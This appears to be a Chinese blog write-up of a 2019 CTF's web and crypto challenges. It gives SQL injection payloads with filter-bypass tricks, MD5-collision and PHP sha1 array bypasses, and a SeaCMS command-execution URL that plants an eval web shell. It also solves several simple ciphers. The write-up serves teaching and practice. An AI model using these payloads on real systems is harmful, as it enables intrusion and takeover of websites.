time: 2019-04-11 21:02
分类:ctf
文章首发于先知社区:2019上海嘉韦思杯web&crypto
这次的比赛没来的及做,看了几道web就没做,难度一般,不过听说服务器很不稳定过程很坎坷,应该算是新生赛,有很多赛题之前做过类似的。服务器第二天就关闭了,时间很短暂,结束后尽快的做了一波。
WEB
web1
题目地址:47.103.43.235:81/quest/web/a/index.php
根据题目是道注入题,and 1=1可正常回显,应该就是一道普通的字符注入题
有4列,可以构造1’ union select 1,2,3,4# 也可以1’ union select 1,2,3,'4,但–+注释测试不行。
然后可以依次注出库表和值
payload: 1’ union select user(),version(),database(),4#
可看到数据库及版本号还有用户
因为根据以往做题经验,数据库里必有一个flag表,所以就不注了,猜了一下,直接出来了
flag-payload: 1’ union select 1,2,flag,4 from flag#
web2
题目地址:47.103.43.235:82/web/a/index.php
这题做过一道类似的,因为限制2秒内,所以要用脚本直接跑出来
正则学的实在不好,用了bs4
import requests
import re
from bs4 import BeautifulSoup
url='http://47.103.43.235:82/web/a/index.php'
s=requests.session()
r=s.get(url)
tbl_bf = BeautifulSoup(r.text,'html.parser')
tbl=tbl_bf.find_all('p')
t = re.sub('<p>|</p>',"",str(tbl[1]))
d = {
"result": eval(str(t))
}
r = s.post(url, data=d)
print(t)
print(r.text)
web3 (47.103.43.235:85/a)
题目地址: 47.103.43.235:81/quest/web/a/index.php
就一个界面什么也没有,看了下源代码
看到关键代码
if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))
很熟悉的一道题,这题考的就是md5碰撞,强类型的话MD5就不能用数组绕过了,这题要求就是需要两个字符串值不同的MD5值相同的字符串。
这里用到了一个工具fastcoll_v1.0.0.5
先创建1.txt 和 2.txt
然后用fastcoll_v1.0.0.5 -i 1.txt 2.txt -o 3.txt 4.txt这条命令就可产生两个md5值相同的文件了。
post上传时要对字符串进行url编码。
工具连接:https://pan.baidu.com/s/1_bDnTy8_jMXGzpzJvl1g0A
不过网上也有现成的字符串,这里我直接找的现成的。
payload:
param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2¶m2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
web4
题目地址:47.103.43.235:82/web/b/index.php
根据题目要输入账号密码,但不知道
查看源代码
有提示,下载下来phps文件
<?php
error_reporting(0);
$flag = '********';
if (isset($_POST['name']) and isset($_POST['password'])){
if ($_POST['name'] == $_POST['password'])
print 'name and password must be diffirent';
else if (sha1($_POST['name']) === sha1($_POST['password']))
die($flag);
else print 'invalid password';
}
?>
分析代码逻辑,发现GET了两个字段name和password,获得flag要求的条件是:name != password & sha1(name) == sha1(password),可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?name[]=a&password[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag。
##web5
题目地址:47.103.43.235:85/b/第一题_js?.txt
打开后一堆加密内容,看起来像base64,
base64解密后是jsfuck,放控制台出flag。
web6
题目地址:47.103.43.235:83/web/a/index.php?id=QM
打开后可以看出这应该是一道sql注入题,不过看id=QM可知很像逆序的base64,它应该是参数经base64后传进去的,QM也就是1.
然后试下Mg也就是id=2
果然可以,然后试下id=2-1,也是要经过base64然后逆序传入
发现可以,存在注入。
这里输入了id=select,可以看到报错引号内容为空,被过滤掉的都为空,经fuzz会发现and,select,空格等都被过滤掉了,这里通过报错注入可以注出,可以双写绕过,空格可以通过/**/取代。
0/**/anandd/**/1=extractvalue(1,concat(0x7e,(selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())))#
本来想试这个报错呢,等号也被过滤了
payload: 0/**/anandd/**/extractvalue(1,concat(0x7e,(seleselectct/**/concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)))#
base64逆序后
jkSKpEDLw8iKq8Cdp1Was9iKq8SKoU2chJWY0FGZvoiKvU2apx2LqoyLh1WZoN2cfVGbiFGdvoiKvUmclh2dvoiKvMXZsJWY05SYtVGajN3Xu9Wa0FWbyJ3bvZmbp9iKq8SbvJnZvoiKvkSZtFmbfVGbiFGdoQXYj52bj9iKq8CdjR3YlxWZzVGblNHKsU2N4BDK0F2Yu92YsEDKlVHbhZHdjFmc0hXZvoiKvQGZuFmbh9iKq8CM
这里写了个base倒序的脚本
#!/usr/bin/python3
#encoding:utf-8
import base64
str_encrypt=input("输入要加密的字符串:\n");
base64_encrypt = base64.b64encode(str_encrypt.encode('utf-8'))
print("BASE64加密串:"+str(base64_encrypt,'utf-8'),end=' ')
print("\n")
A = ''
for i in str(base64_encrypt):
A = i + A
print("base倒序字符串:"+A)
根据这种可以爆出数据库最终爆出flag。
web7
这题是利用的seacms的框架,百度可以搜到该cms的很多历史漏洞
payload:
http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[muma])
这里利用了该cms存在的一处命令执行漏洞。通过命令执行getshell。
crypto
crypto1
题目地址:47.103.43.235:82/crypto/a/index.php
这题打开是一个base64加密,解密后还是base64,发现这是个base64嵌套,一直解下去
最终
应该是对字符串的移位,各种测试一番发现是栅栏密码
crypto2
题目地址:47.103.43.235:82/crypto/b/index.php
这个也是对字符串的移位,根据ascii值进行移位,
因为格式为flag,所以前四位应该为flag,b到f隔4位,g到l隔5位,一次类推就能得到flag。
写个py跑也行
i=4
m = "bg[`sZ*Zg'dPfP`VM_SXVd"
for n in m:
n = chr(ord(n) + i)
print(n,end='')
i=i+1
crypto3
题目地址:47.103.43.235:82/crypto/c/index.php
这题考的是希尔密码
加密矩阵: [[1,2,3], [4,5,6], [7,8,10]]
密文:xkmyqczdjajf
希尔密码是运用基本矩阵论原理的替换密码。每个字母当作26进制数字:A=0,B=1…一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果MOD 26。注意用作加密的矩阵(即密钥)必须是可逆的,否则就不可能译码。只有矩阵的行列式和26互质,才是可逆的。
希尔密码需要线代学的好,我线代,,就不提了,这题没写出脚本,太菜,手算可还行。想了解的可以自行百度了解
解密过程大致为:
例如:设分组长度n=2,密钥为:K={7,9;8,3} 密文:pqcfku
(1)将密文分为两两一组:pq,cf,ku
(2)将密文字母转换为对应的编码:(15,16),(2,5),(10,20)
(3)分别计算每一组密文对应的明文编码(K-1位K的逆矩阵)
(15,16)*K-1 mod 26 =(5,17)
(2,5) *K -1mod 26=(8,3)
(10,20) *K-1 mod 26=(0,24)
(4)将明文编码转换为明文字母,完成解密。